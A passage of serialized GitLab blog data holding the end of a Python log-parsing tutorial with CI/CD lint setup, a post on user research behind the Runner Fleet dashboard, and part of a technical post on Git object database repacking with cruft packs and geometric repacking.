'log-data/var/log/auth.log', 'count': 1, 'failure_string': 'sshd[3967916]: Failed password for root from 180.101.88.227 port 44397 ssh2'}, {'log_file': 'log-data/var/log/auth.log', 'count': 1, 'failure_string': 'sshd[3967998]: Invalid user teamspeak from 185.218.20.10 port 33436'}, {'log_file': 'log-data/var/log/auth.log', 'count': 1, 'failure_string': 'sshd[3967998]: Failed password for invalid user teamspeak from 185.218.20.10 port 33436 ssh2'}, {'log_file': 'log-data/var/log/auth.log', 'count': 1, 'failure_string': 'sshd[3968077]: Invalid user mcserver from 218.211.33.146 port 50950'}]\n\n```\n\n### Parsing more types: Structured logging\n\nApplication developers can use the structured logging format to help machine parsers to extract the key value pairs. Prometheus provides this information in the following structure in syslog:\n\n```\nOct 17 19:00:10 ebpf-chaos prometheus[594]: ts=2023-10-17T19:00:10.425Z caller=compact.go:519 level=info component=tsdb m\nsg=\"write block\" mint=1697558404661 maxt=1697565600000 ulid=01HCZG4ZX51GTH8H7PVBYDF4N6 duration=148.675854ms\nOct 17 19:00:10 ebpf-chaos prometheus[594]: ts=2023-10-17T19:00:10.464Z caller=head.go:1213 level=info component=tsdb msg\n=\"Head GC completed\" caller=truncateMemory duration=6.845245ms\nOct 17 19:00:10 ebpf-chaos prometheus[594]: ts=2023-10-17T19:00:10.467Z caller=checkpoint.go:100 level=info component=tsd\nb msg=\"Creating checkpoint\" from_segment=2308 to_segment=2309 mint=1697565600000\nOct 17 19:00:10 ebpf-chaos prometheus[594]: ts=2023-10-17T19:00:10.517Z caller=head.go:1185 level=info component=tsdb msg\n=\"WAL checkpoint complete\" first=2308 last=2309 duration=50.052621ms\n```\n\nThis format is easier to parse for scripts, because the message part can be split by whitespaces, and the assignment character `=`. Strings that contain whitespaces are guaranteed to be enclosed with quotes. The downside is that not all programming language libraries provide ready-to-use structured logging libraries, making it harder for developers to adopt this format. \n\nPractice following the previous example to parse the `auth.log` format with additional information. Tell Code Suggestions that you are expecting structured logging format with key-value pairs, and which returned data structure would be great:\n\n```python\n# Create a function that parses a log file message from the last extracted_columns entry \n# Input: Parsed log lines results list \n# Loop over all log lines in the list, and extract the last list item as message \n# Parse structured logging key-value pairs into a dictionary\n# Return results: log_file, dictionary \n```\n\n![Code suggestions for parsing structured logging format in the log file message part](https://about.gitlab.com/images/blogimages/learn-python-with-ai-code-suggestions-getting-started/vs_code_code_suggestions_propose_structured_logging_message_parser.png){: .shadow}\n\n### Printing results and formatting\n\nMany of the examples used the `print()` statement to print the content on the terminal. Python objects in the standard library support text representation, and for some types it makes more sense (string, numbers), others cannot provide much details (functions, etc.). \n\nYou can also pretty-print almost any data structure (lists, sets, dictionaries) in Python. The JSON library can format data structures in a readable format, and use a given spaces indent to draw the JSON structure on the terminal. Note that we use the `import` statement here to bring libraries into the current scope, and access their methods, for example `json.dumps`. \n\n```python\nimport json \nprint(json.dumps(structured_results, indent=4))\n```\n\n![Parsing log files into structured objects, example result after following the exercises](https://about.gitlab.com/images/blogimages/learn-python-with-ai-code-suggestions-getting-started/vs_code_terminal_parsing_logs_and_pretty_print_results.png)\n\nPractice with modifying the existing source code, and replace the code snippets where appropriate. Alternatively, create a new function that implements pretty printing.\n\n```python\n# Create a pretty print function with indent 4 \n```\n\n![Code suggestions for pretty-print function](https://about.gitlab.com/images/blogimages/learn-python-with-ai-code-suggestions-getting-started/vs_code_code_suggestions_pretty_print.png){: .shadow}\n\nThis idea works in a similar fashion with creating your own logger functions...but we have to stop learning and take a break. Before we conclude the first blog post in the learning series, let's ensure that CI/CD and dependencies are set up properly for future exercises and async practice. \n\n## Dependency management and continuous verification  \n\n### Pip and pyenv: Bringing structure into Python \n\nDependencies can be managed in the [`requirements.txt` file](https://pip.pypa.io/en/stable/reference/requirements-file-format/), including optional version dependencies. Using `requirements.txt` file also has the advantage of being the single source of truth for local development environments and running continuous builds with GitLab CI/CD. They can use the same installation command:\n\n```shell\npip install -r requirements.txt\n```\n\nSome Linux distributions do not install the pip package manager by default, for example, Ubuntu/Debian require to install the `python3-pip` package. \n\nYou can manage different virtual environments using [venv](https://docs.python.org/3/library/venv.html). This workflow can be beneficial to install Python dependencies into the virtual environment, instead of globally into the OS path which might break on upgrades. \n\n```shell\npip install virtualenv\nvirtualenv venv\nsource venv/bin/activate \n```\n\n### Automation: Configure CI/CD pipeline for Python\n\nThe [CI/CD pipeline](https://docs.gitlab.com/ee/ci/) should continuously lint, test, and build the code. You can mimic the steps from the local development, and add testing more environments and versions: \n\n1. Lint the source code and check for formatting errors. The example uses [Pyflakes](https://pypi.org/project/pyflakes/), a mature linter, and [Ruff](https://docs.astral.sh/ruff/ ), a fast linter written in Rust. \n2. Cache dependencies installed using the pip package manager, following the documentation for [Python caching in GitLab CI/CD](https://docs.gitlab.com/ee/ci/caching/#cache-python-dependencies). This saves time and resources on repeated CI/CD pipeline runs.\n3. Use parallel matrix builds to test different Python versions, based on the available container images on Docker Hub and their tags. \n\n```yaml\nstages:\n  - lint\n  - test\n\ndefault:\n  image: python:latest\n  cache:                      # Pip's cache doesn't store the python packages\n    paths:                    # https://pip.pypa.io/en/stable/topics/caching/\n      - .cache/pip\n  before_script:\n    - python -V               # Print out python version for debugging\n    - pip install virtualenv\n    - virtualenv venv\n    - source venv/bin/activate\n\nvariables:  # Change pip's cache directory to be inside the project directory since we can only cache local items.\n  PIP_CACHE_DIR: \"$CI_PROJECT_DIR/.cache/pip\"\n\n# lint template\n.lint-tmpl:\n  script:\n    - echo \"Linting Python version $VERSION\"\n  parallel:\n    matrix:\n      - VERSION: ['3.9', '3.10', '3.11', '3.12']   # https://hub.docker.com/_/python\n\n# Lint, using Pyflakes: https://pypi.org/project/pyflakes/ \nlint-pyflakes:\n  extends: [.lint-tmpl]\n  script:\n    - pip install -r requirements.txt\n    - find . -not -path './venv' -type f -name '*.py' -exec sh -c 'pyflakes {}' \\;\n\n# Lint, using Ruff (Rust): https://docs.astral.sh/ruff/ \nlint-ruff:\n  extends: [.lint-tmpl]\n  script:\n    - pip install -r requirements.txt\n    - ruff .\n```\n\n![GitLab CI/CD Python lint job view, part of matrix builds](https://about.gitlab.com/images/blogimages/learn-python-with-ai-code-suggestions-getting-started/gitlab_cicd_python_lint_job_log_view.png)\n\n## What is next \n\nFun fact: GitLab Duo Code Suggestions also helped writing this blog post in VS Code, knowing about the context. In the screenshot, I just wanted to add a tip about [regex101](https://regex101.com/), and GitLab Duo already knew. \n\n![Writing the GitLab blog post in VS Code with support from GitLab Duo Code Suggestions](https://about.gitlab.com/images/blogimages/learn-python-with-ai-code-suggestions-getting-started/gitlab_duo_code_suggestions_helping_write_the_learning_python_ai_blog_post.png)\n\nIn an upcoming blog, we will look into advanced learning examples with more practical (log) filtering and parallel operations, how to fetch logs from API endpoints (CI/CD job logs for example), and more data analytics and observability. Until then, here are a few recommendations for practicing async.\n\n### Async learning exercises\n\n- Implement the missing `log_file_limit` variable check. \n- Print a summary of the results in Markdown, not only JSON format. \n- Extend the script to accept a search filter as environment variable. Print/count only filtered results. \n- Extend the script to accept a date range. It might require parsing the datetime column in a time object to compare the range. \n- Inspect a GitLab CI/CD pipeline job log, and download the raw format. Extend the log parser to parse this specific format, and print a summary. \n\n### Share your feedback\n\nWhich programming language are you learning or considering learning? Start a new topic on our [community](/community/) forum or Discord and share your experience.\n\nWhen you use [GitLab Duo](/gitlab-duo/) Code Suggestions, please share your thoughts and feedback [in the feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/405152).\n",[479,696,1444,790],{"slug":7900,"featured":6,"template":678},"learning-python-with-a-little-help-from-ai-code-suggestions","content:en-us:blog:learning-python-with-a-little-help-from-ai-code-suggestions.yml","Learning Python With A Little Help From Ai Code Suggestions","en-us/blog/learning-python-with-a-little-help-from-ai-code-suggestions.yml","en-us/blog/learning-python-with-a-little-help-from-ai-code-suggestions",{"_path":7906,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7907,"content":7913,"config":7920,"_id":7922,"_type":16,"title":7923,"_source":17,"_file":7924,"_stem":7925,"_extension":20},"/en-us/blog/how-we-user-research-transformed-gitlab-runner-fleet-dashboard-visibility-and-metrics",{"title":7908,"description":7909,"ogTitle":7908,"ogDescription":7909,"noIndex":6,"ogImage":7910,"ogUrl":7911,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7911,"schema":7912},"GitLab Runner Fleet dashboard improved through user research","Learn how GitLab user research drives the product development process when enabling more runner fleet features.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749666543/Blog/Hero%20Images/lightvisibility.png","https://about.gitlab.com/blog/how-we-user-research-transformed-gitlab-runner-fleet-dashboard-visibility-and-metrics","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How user research transformed GitLab Runner Fleet dashboard visibility and metrics\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Gina Doyle\"}],\n        \"datePublished\": \"2023-11-07\",\n      }",{"title":7914,"description":7909,"authors":7915,"heroImage":7910,"date":7917,"body":7918,"category":734,"tags":7919},"How user research transformed GitLab Runner Fleet dashboard visibility and metrics",[7916],"Gina Doyle","2023-11-07","\nContinuous integration and continuous deployment (CI/CD) are a crucial part of the product development workflow. Companies depend on CI/CD to get new software features, bug fixes, and improvements out the door quickly. At GitLab, runners are at the core of CI/CD and are needed to build, test, and deploy code. [GitLab Runner](https://gitlab.com/gitlab-org/gitlab-runner) is the open source project that is used to run CI/CD jobs and send the results back to GitLab. However, since GitLab's early years, GitLab Runner has been code-centric with limited UI capabilities. We recently embarked on a journey to change that – follow along to see how we gathered user input and made desired improvements to the visibility and metrics of the GitLab Runner Fleet dashboard.\n\n## Managing runners\nAs GitLab scaled as a company, so did the number of GitLab users with complex and evolving use cases. In the past five years, we have seen a radical increase in the need for a best-in-class experience when managing a large number of self-managed runners. This need has led us to put more time and focus into improving how GitLab manages runners and how it supports users in making decisions quickly and effectively.\n\nTo that end, we’ve been making incremental changes to the runner fleet management experience, including improving the general usability of admin and group runner pages, providing more data around runners such as jobs run and status checks, and improving the runner creation process so it’s more secure and easier to follow. By doing this, we built a better underlying system so we could add new features easily.\n\nHowever, runner admins and platform engineers shared this recurring problem with us: \n- It is difficult to get an at-a-glance view of my fleet of runners, including how they are performing (how fast they pick up jobs, which ones are running the most jobs, etc.) and what issues (if any) are present that need to be fixed. \n\nIn addition to this problem, the GitLab Runner Fleet team was also running into issues with the performance of runner pages and with scalability when trying to add new features. This was a perfect opportunity to learn more about the problem users were facing and to innovate to extend our runner offering.\n\n## Gathering insights and exploring proposals\nTo fully understand the problem at hand and help make the requirements more clear, we carried out [problem validation](https://about.gitlab.com/handbook/product/ux/ux-research/problem-validation-and-methods/) research. We held [moderated in-depth interviews](https://www.usability.gov/how-to-and-tools/methods/individual-interviews.html) and sifted through much of our existing data from previous interviews. As we gained confidence in our understanding of the problem, we created a first iteration of the design to be tested with users through [moderated usability testing](https://about.gitlab.com/handbook/product/ux/ux-research/usability-testing/#different-types-of-usability-testing), which would [determine whether the solution really did solve the problem](https://about.gitlab.com/handbook/product/ux/ux-research/solution-validation-and-methods/).\n\nThis first design proposal focused on: \n- a general overview of the fleet, broken down by types (instance, group, project runners) and status\n- visibility into runner system failures\n- a general concept of runner load - how many jobs are running at once out of how many possible jobs the runner can run?\n- how long it takes for runners to pick up jobs\n= a list of runner events (job failures, status changes, upgrades, etc.)\n\n![Initial design of dashboard 1](https://about.gitlab.com/images/blogimages/2023-11-01-how-we-used-research-to-provide-visibility-into-runner-fleets/initial-design-1.png)\n\n\n![Initial design of dashboard 2](https://about.gitlab.com/images/blogimages/2023-11-01-how-we-used-research-to-provide-visibility-into-runner-fleets/initial-design-2.png)\n\n\n## Testing the usability of iteration\nWe ran moderated usability testing sessions so we could measure user responses and satisfaction based on a set of consistent questions across multiple participants. We used a Figma prototype and had participants complete tasks that connected back to the problem we were solving. \n\nAn advantage of running moderated sessions compared to unmoderated sessions is that we could tailor our follow-up questions as required once participants completed a task or provided an answer. After completing these sessions, we summarized the data we received into the following key insights to create the MVC (minimal viable change) of the runner fleet dashboard:\n1. Runner failures/errors are crucial to identify problems (voted the most important feature on the dashboard).\n2. Online and offline runners matter the most in terms of status breakdowns for a fleet.\n3. Visibility into busy runners (tied for second most important feature on the dashboard) helps users see individual runner load.\n4. Wait time to pick up a job was tied for the second most important feature on the dashboard and seeing this over time with more configuration options can help identify where to make optimizations in the fleet.\n\nThere are many other features requested by participants that should be handled in follow-up iterations of the dashboard. See [this epic](https://gitlab.com/groups/gitlab-org/-/epics/10631) for more information.\n\n## Updating the designs\nOur next step was to update the designs to consider the research we ran.\n\n### Responding to feedback\n\n1) Wait times\n\n**What we heard:**\n- “Right now, there is very little information available as to how soon a CI build might start. Oftentimes, users are left wondering why jobs won’t run.” \n- “It's mostly reactive for us at this point anyway when, as you know, we get users reporting problems, we might want to go look at wait times here. And be able to dig down on those to see who's waiting...”\n\n**What we did:**\n- Added an in-depth visualization of wait times for all instance runners in the fleet in the past three hours and included percentiles to give users a true representation of the wait times. By providing the data over this interval, we enable runner admins to quickly get a sense of how their runners are performing and if there are any issues with the fleet that would cause jobs to stay in pending state.\n\n![Wait time graph](https://about.gitlab.com/images/blogimages/2023-11-01-how-we-used-research-to-provide-visibility-into-runner-fleets/wait-time-graph.png)\n\n2) Runner loads\n\n**What we heard:**\n- “I have three build servers that are shared amongst many projects and in order for me to ensure each build server is properly set up, it's important for me to track builds by server. So, if one particular server is having issues, I need to be able to focus on that server.”\n\n**What we did:**\n- To start indicating some data on runner load, we’ve added a list of the top five busiest runners based on the number of running jobs they have at the moment, ranked from highest to lowest. This should help when analyzing concurrency settings and seeing if runners really need the capacity set for them.\n\n![Active runners](https://about.gitlab.com/images/blogimages/2023-11-01-how-we-used-research-to-provide-visibility-into-runner-fleets/active-runners.png)\n\n3) Understanding of most recent failures\n\n**What we heard:**\n- “We actually have a dashboard on Datadog that gives us error counts and errors coming from the runners themselves. But you know, without a dashboard, we have no visibility on anything inside of GitLab, like queue lengths or wait times or anything like that.”\n\n- “Our setup is not perfect...some of the runners run on spot instances and can disappear, which means the background engine can die. You get this very strange error that the job failed because of something and we need to retry the job using a different runner.”\n\n**What we did:**\n- Created a list of most recent failures in the last hour for instance runners. Not only can you quickly navigate to the job log and details, but you’re also given a short summary of the error so you get insight into it immediately and can get on your way to fix it.\n\n![Runner failures](https://about.gitlab.com/images/blogimages/2023-11-01-how-we-used-research-to-provide-visibility-into-runner-fleets/runner-failures.png)\n\n**The full dashboard:**\n\n![Full runner dashboard](https://about.gitlab.com/images/blogimages/2023-11-01-how-we-used-research-to-provide-visibility-into-runner-fleets/full-dashboard.png)\n\n## What's next?\nThis first iteration of the dashboard is not the end. We have many iterations planned to improve the dashboard over the next year. To first get feedback on how it works for users, we will run an [Early Adopters Program](https://gitlab.com/groups/gitlab-org/-/epics/11180) for GitLab Ultimate self-managed users. We will work with teams to set up the feature on their instance and continuously ask for feedback once it is being used. This will also help us understand user satisfaction levels and help our team prioritize fixes and new features as we continue improving the experience.\n\n**Do you want to provide feedback now?** We would love to hear what you think! Please add your thoughts about the Fleet Dashboard to [this feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/421737). To learn more about how we built this dashboard, [watch this technical demo](https://www.youtube.com/watch?v=clyfLsss-vM) by Miguel Rincon, Pedro Pombeiro, and Vladimir Shushlin.\n",[110,1307,2248],{"slug":7921,"featured":6,"template":678},"how-we-user-research-transformed-gitlab-runner-fleet-dashboard-visibility-and-metrics","content:en-us:blog:how-we-user-research-transformed-gitlab-runner-fleet-dashboard-visibility-and-metrics.yml","How We User Research Transformed Gitlab Runner Fleet Dashboard Visibility And Metrics","en-us/blog/how-we-user-research-transformed-gitlab-runner-fleet-dashboard-visibility-and-metrics.yml","en-us/blog/how-we-user-research-transformed-gitlab-runner-fleet-dashboard-visibility-and-metrics",{"_path":7927,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7928,"content":7934,"config":7939,"_id":7941,"_type":16,"title":7942,"_source":17,"_file":7943,"_stem":7944,"_extension":20},"/en-us/blog/rearchitecting-git-object-database-mainentance-for-scale",{"title":7929,"description":7930,"ogTitle":7929,"ogDescription":7930,"noIndex":6,"ogImage":7931,"ogUrl":7932,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7932,"schema":7933},"Why and how we rearchitected Git object database maintenance for scale","Go in-depth into improvements to maintenance of the Git object database for reduced overhead and increased efficiency.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664413/Blog/Hero%20Images/speedlights.png","https://about.gitlab.com/blog/rearchitecting-git-object-database-mainentance-for-scale","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why and how we rearchitected Git object database maintenance for scale\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Patrick Steinhardt\"}],\n        \"datePublished\": \"2023-11-02\",\n      }",{"title":7929,"description":7930,"authors":7935,"heroImage":7931,"date":7936,"body":7937,"category":734,"tags":7938},[1817],"2023-11-02","\n[Gitaly](/direction/gitaly/#gitaly-1), the service that is responsible for providing access to Git repositories in GitLab, needs to ensure that the repositories are maintained regularly. Regular maintenance ensures:\n\n- fast access to these repostiories for users\n- reduced resource usage for servers\n\nHowever, repository maintenance is quite expensive by itself and especially so for large monorepos.\n\nIn [a past blog post](/blog/scaling-repository-maintenance/), we discussed how we revamped the foundations of repository maintenance so that we can iterate on the exact maintenance strategy more readily. This blog post will go through improved maintenance strategies for objects hosted in a Git repository, which was enabled by that groundwork.\n\n- [The object database](#the-object-database)\n- [The old way of packing objects](#the-old-way-of-packing-objects)\n- [All-into-one repacks](#all-into-one-repacks)\n- [Deletion of unreachable objects](#deletion-of-unreachable-objects)\n- [Reachability checks](#reachability-checks)\n- [The new way of packing objects](#the-new-way-of-packing-objects)\n- [Cruft packs](#cruft-packs)\n- [More efficient incremental repacks](#more-efficient-incremental-repacks)\n- [Geometric repacking](#geometric-repacking)\n- [Real-world results](#real-world-results)\n\n## The object database\n\nWhenever a user makes changes in a Git repository, these changes come in the form of new objects written into the repository. Typically, any such object is written into the repository as a so-called \"loose object,\" which is a separate file that contains the compressed contents of the object itself with a header that identifies the type of the object.\n\nTo demonstrate this, in the following example we use\n[`git-hash-object(1)`](https://www.git-scm.com/docs/git-hash-object) to write a new blob into the repository:\n\n```shell\n $ git init --bare repository.git\nInitialized empty Git repository in /tmp/repository.git/\n $ cd repository.git/\n $ echo \"contents\" | git hash-object -w --stdin\n12f00e90b6ef79117ce6e650416b8cf517099b78\n $ tree objects\nobjects\n├── 12\n│   └── f00e90b6ef79117ce6e650416b8cf517099b78\n├── info\n└── pack\n\n4 directories, 1 file\n```\n\nAs you can see, the new object was written into the repository and stored as a separate file in the objects database.\n\nOver time, many of these loose objects will accumulate in the repository. Larger repositories tend to have millions of objects, and storing all of them as separate files is going to be inefficient. To ensure that the repository can be served efficiently to our users and to keep the load on servers low, Git will regularly compress loose objects into packfiles. We can compress loose objects manually by using, for example, [`git-pack-objects(1)`](https://www.git-scm.com/docs/git-pack-objects):\n\n```shell\n $ git pack-objects --pack-loose-unreachable ./objects/pack/pack \u003C/dev/null\nEnumerating objects: 1, done.\nCounting objects: 100% (1/1), done.\nWriting objects: 100% (1/1), done.\nTotal 1 (delta 0), reused 0 (delta 0), pack-reused 0\n7ce39d49d7ddbbbbea66ac3d5134e6089210feef\n $ tree objects\n objects/\n├── 12\n│   └── f00e90b6ef79117ce6e650416b8cf517099b78\n├── info\n│   └── packs\n└── pack\n    ├── pack-7ce39d49d7ddbbbbea66ac3d5134e6089210feef.idx\n    └── pack-7ce39d49d7ddbbbbea66ac3d5134e6089210feef.pack\n```\n\nThe loose object was compressed into a packfile (`.pack`) with a packfile index (`.idx`) that is used to efficiently access objects in that packfile.\n\nHowever, the loose object still exists. To remove it, we can execute [`git-prune-packed(1)`](https://www.git-scm.com/docs/git-prune-packed) to delete all objects that have been packed already:\n\n```shell\n $ git prune-packed\n $ tree objects/\nobjects/\n├── info\n│   └── packs\n└── pack\n    ├── pack-7ce39d49d7ddbbbbea66ac3d5134e6089210feef.idx\n    └── pack-7ce39d49d7ddbbbbea66ac3d5134e6089210feef.pack\n```\n\nFor end users of Git, all of this happens automatically because Git calls `git gc --auto` regularly. This command uses heuristics to figure out what needs to be optimized and whether loose objects need to be compressed into packfiles. This command is unsuitable for the server side because:\n\n- The command does not scale well enough in its current form. The Git project must be more conservative about changing defaults because they support a lot of different use cases. Because we know about the specific needs that we have at GitLab, we can adopt new features that allow for more efficient maintenance more readily.\n- The command does not provide an easy way to observe what exactly it is doing, so we cannot provide meaningful metrics.\n- The command does not allow us to fully control all its exact inner workings and so is not flexible enough.\n\nTherefore, Gitaly uses its own maintenance strategy to maintain Git repositories, of which maintaining the object database is one part.\n\n## The old way of packing objects\n\nAny maintenance strategy to pack objects must ensure the following three things to keep a repository efficient and effective with disk space:\n\n- Loose objects must be compressed into packfiles.\n- Packfiles must be merged into larger packfiles.\n- Objects that are not reachable anymore must be deleted eventually.\n\nPrevious to GitLab 16.0, Gitaly used the following three heuristics to ensure that those three things happened:\n\n- If the number of packfiles in the repository exceeds a certain threshold, Gitaly rewrote all packfiles into a single new packfile. Any objects that were unreachable were put into loose files so that they could be deleted after a certain grace period.\n- If the number of loose objects exceeded a certain threshold, Gitaly compressed all reachable loose objects into a new packfile.\n- If the number of loose objects that are older than the grace period for object deletion exceeded a certain threshold, Gitaly deleted those objects.\n\nWhile these heuristics satisfy all three requirements, they have several downsides, especially in large monorepos that contain gigabytes of data.\n\n### All-into-one repacks\n\nFirst and foremost, the first heuristic requires us to do all-into-one repacks where all packfiles are regularly compressed into a single packfile. In Git repositories with high activity levels, we usually create lots of packfiles during normal operations. But because we need to limit the maximum number of packfiles in a repository, we need to regularly do these complete rewrites of all objects.\n\nUnfortunately, doing such an all-into-one repack can be prohibitively expensive in large monorepos. The repacks may allocate large amounts of memory and typically keep multiple CPU cores busy during the repack, which can require hours of time to complete.\n\nSo, ideally, we want to avoid these all-into-one repacks to the best extent possible.\n\n### Deletion of unreachable objects\n\nTo avoid certain race conditions, Gitaly and Git enforce a grace period before an unreachable object is eligible for deletion. This grace period is tracked using the access time of such an unreachable object: If the last access time of the object is earlier than the grace period, the unreachable object can be deleted.\n\nTo track the access time of a single object, the object must exist as a loose object. This means that all objects that are pending deletion will be evictedfrom any packfile they were previously part of and become loose objects.\n\nBecause the grace period we have in place for Gitaly is 14 days, large monorepos tend to grow a large number of such loose object that are pending deletion. This has two effects:\n\n- The number of loose objects overall grows, which makes object lookup less efficient.\n- Loose objects are stored a lot less efficiently than packed objects, which means that the disk space required for the objects that are pending deletion is signficantly higher than if those objects were stored in their packed form.\n\nIdeally, we would be able to store unreachable objects in packed format while still being able to store their last access times separately.\n\n### Reachability checks\n\nCompressing loose objects into a new packfile is done by using an incremental repack. Git will compute the reachability of all objects in the repository and then pack all loose objects that are reachable into a new packfile.\n\nTo determine reachability of an object, we have to perform a complete graph walk. Starting at all objects that are directly referenced, we walk down any links that those objects have to any other objects. Once we reach the root of the object graph, we have then split all objects into two sets, which are the reachable and unreachable objects.\n\nThis operation can be quite expensive and the larger the repository and the more objects it contains, the more expensive this computation gets. As mentioned above though, objects which are about to be deleted need to be stored\nas loose objects such that we can track their last access time. So if our incremental repack compressed all loose objects into a packfile regardless of their reachability, then this would impact our ability to track the grace\nperiod per object.\n\nThe ideal solution here would avoid doing reachability checks altogether while still being able to track the grace period of unreachable objects which are pending deletion individually.\n\n## The new way of packing objects\n\nOver the past two years, the Git project has shipped multiple mechanisms that allow us to address all of these painpoints we had with our old strategy. These new mechanisms come in two different forms:\n\n- Geometric repacking allows us to merge multiple packfiles without having to rewrite all packfiles into one. This feature was introduced in [Git v2.32.0](https://gitlab.com/gitlab-org/git/-/commit/2744383cbda9bbbe4219bd3532757ae6d28460e1).\n- Cruft packs allow us to store objects that are pending deletion in compressed format in a packfile. This feature was introduced in [Git v2.37.0](https://gitlab.com/gitlab-org/git/-/commit/a50036da1a39806a8ae1aba2e2f2fea6f7fb8e08).\n\nThe Gitaly team has reworked the object database maintenance strategy to make use of these new features.\n\n### Cruft packs\nPrevious to Git v2.37.0, pruning objects with a grace period required Git to first unpack packed objects into loose objects. We did this so that we can track the per-object access times for unreachable objects that are pending deletion as explained above. This is inefficient though as it potentially requires us to keep a lot of unreachable objects in loose format until they can be deleted after the grace period.\n\nWith Git v2.37.0, [git-repack(1)](https://www.git-scm.com/docs/git-repack) learned to write [cruft packs](https://git-scm.com/docs/cruft-packs). While a cruft pack looks just like a normal pack, it also has an accompanying\n`.mtimes` file:\n\n```shell\n$ tree objects/\nobjects/\n├── info\n│   └── packs\n└── pack\n    ├── pack-7ce39d49d7ddbbbbea66ac3d5134e6089210feef.idx\n    ├── pack-7ce39d49d7ddbbbbea66ac3d5134e6089210feef.mtimes\n    └── pack-7ce39d49d7ddbbbbea66ac3d5134e6089210feef.pack\n```\n\nThis file contains per-object timestamps that record when the object was last accessed. With this, we can continue to track per-object grace periods while storing the objects in a more efficient way compared to loose objects.\n\nIn Gitaly, we [started to make use of cruft packs](https://gitlab.com/gitlab-org/gitaly/-/merge_requests/5454) in GitLab 15.10 and made the feature generally available in GitLab 15.11. Cruft packs allow us to store objects that are pending deletion more efficiently and with less impact on the overall performance of the repository.\n\n### More efficient incremental repacks\n\nCruft packs also let us fix the issue that we had to do reachability checks when doing incremental repacks.\n\nPreviously, we had to always ensure reachability when packing loose objects so that we don't pack objects that are pending deletion. But now that any such object would be stored as part of a cruft pack and not as a loose pack anymore, we can instead compress all loose files into a packfile. This change was [introduced into Gitaly](https://gitlab.com/gitlab-org/gitaly/-/merge_requests/5660) with GitLab 16.0.\n\nIn an artificial benchmark with the Linux repository, compressing all loose objects into a packfile led to more than a 90-fold speedup, dropping from almost 13 seconds to 174 milliseconds.\n\n### Geometric repacking\n\nLast but not least, we still have the issue that we need to perform regular all-into-one repacks when we have too many packfiles in the repository.\n\nGit v2.32.0 introduced a new \"geometric\" repacking strategy for the [git-repack(1)](https://www.git-scm.com/docs/git-repack) command that will merge multiple packfiles into a single, larger packfile, that we can use to solve this issue.\n\nThis new \"geometric\" strategy tries to ensure that existing packfiles in the repository form a [geometric sequence](https://en.wikipedia.org/wiki/Geometric_progression) where each successive packfile contains at least `n` times as many objects as the preceding packfile. If the sequence isn't maintained, Git will determine a slice of packfiles that it must repack to maintain the sequence again. With this process, we can limit the number of packfiles that exist in the repository without having to repack all objects into a single packfile regularly.\n\nThe following figures demonstrate geometric repacking with a factor of two.\n\n1. We notice that the two smallest packfiles do not form a geometric sequence as they both contain two objects each.\n\n![Geometrically repacking packfiles, initial](https://about.gitlab.com/images/blogimages/2023-10-09-repository-scaling-odb-maintenance/geometric-repacking-1.png)\n\n1. We identify the smallest slice of packfiles that need to be repacked in order to restore the geometric sequence. Merging the smallest two packfiles would lead to a packfile with four objects. This would not be sufficient to restore the geometric sequence as the next-biggest packfile contains four objects, as well.\n\nInstead, we need to merge the smallest three packfiles into a new packfile that contains eight objects in total. As `8 × 2 ≤ 16` the geometric sequence is restored.\n\n![Geometrically repacking packfiles, combining](https://about.gitlab.com/images/blogimages/2023-10-09-repository-scaling-odb-maintenance/geometric-repacking-2.png)\n\n3. We merge those packfiles into a new packfile.\n\n![Geometrically repacking packfiles, final](https://about.gitlab.com/images/blogimages/2023-10-09-repository-scaling-odb-maintenance/geometric-repacking-3.png)\n\nOriginally, we introduced this new feature [into Gitaly in GitLab 15.11](https://gitlab.com/gitlab-org/gitaly/-/merge_requests/5590).\n\nUnfortunately, we had to quickly revert this new mode. It turned out that the geometric strategy was not ready to handle Git repositories that had an alternate object database connected to them. Because we make use of this feature to [deduplicate objects across forks](https://docs.gitlab.com/ee/development/git_object_deduplication.html), the new repacking strategy led to problems.\n\nAs active contributors to the Git project, we set out to fix these limitations in git-repack(1) itself. This led to an [upstream patch series](http://public-inbox.org/git/a07ed50feeec4bfc3e9736bf493b9876896bcdd2.1680606445.git.ps@pks.im/T/#u) that fixed a bunch of limitations around alternate object directories when doing geometric repacks in Git that was then released with Git v2.41.\n\nWith these fixes upstream, we were then able to\n[reintroduce the change](https://gitlab.com/gitlab-org/gitaly/-/merge_requests/5607) and [globally enable our new geometric repacking strategy](https://gitlab.com/gitlab-org/gitaly/-/merge_requests/5745) with GitLab 16.0.\n\n## Real-world results\n\nAll of this is kind of dry and deeply technical. What about the real-world results?\n\nThe following graphs show the global time we spent repacking objects across all projects hosted on GitLab.com.\n\n![Time spent optimizing repositories globally](https://about.gitlab.com/images/blogimages/2023-10-09-repository-scaling-odb-maintenance/global-optimization.png)\n\nThe initial rollout was on April 26 and progressed until April 28. As you can see, there was first a significant increase in repacking time. But after the initial dust settles, we can see that globally the time we spent repacking repositories roughly decreased by almost 20%.\n\nIn the two weeks before we enabled the feature, during weekdays and at peak times we were usually spending around 2.6 days per 12 hours repacking. In the two weeks after the feature was enabled, we spent around 2.12 days per 12 hours\nrepacking objects.\n\nThis is a success by itself already, but the more important question is how it would impact large monorepos, which are significantly harder to keep well-maintained due to their sheer size. Fortunately, the effect of the new housekeeping strategy was a lot more significant here. The following graph shows the time we spent performing housekeeping tasks in our own `gitlab-org` and `gitlab-com` groups, which host some of the most active repositories that have caused issues in the past:\n\n![Time spent optimizing repositories in GitLab groups](https://about.gitlab.com/images/blogimages/2023-10-09-repository-scaling-odb-maintenance/gitlab-groups-optimization.png)\n\nIn summary, we have observed the following improvements:\n\n|                                                        | Before              | After                | Change |\n| ------------------------------------------------------ | ------------------- | -------------------- | ------ |\n| Global accumulated repacking time                      | ~5.2 hours/hour     | ~4.2 hours/hour      | -20%   |\n| Large repositories of 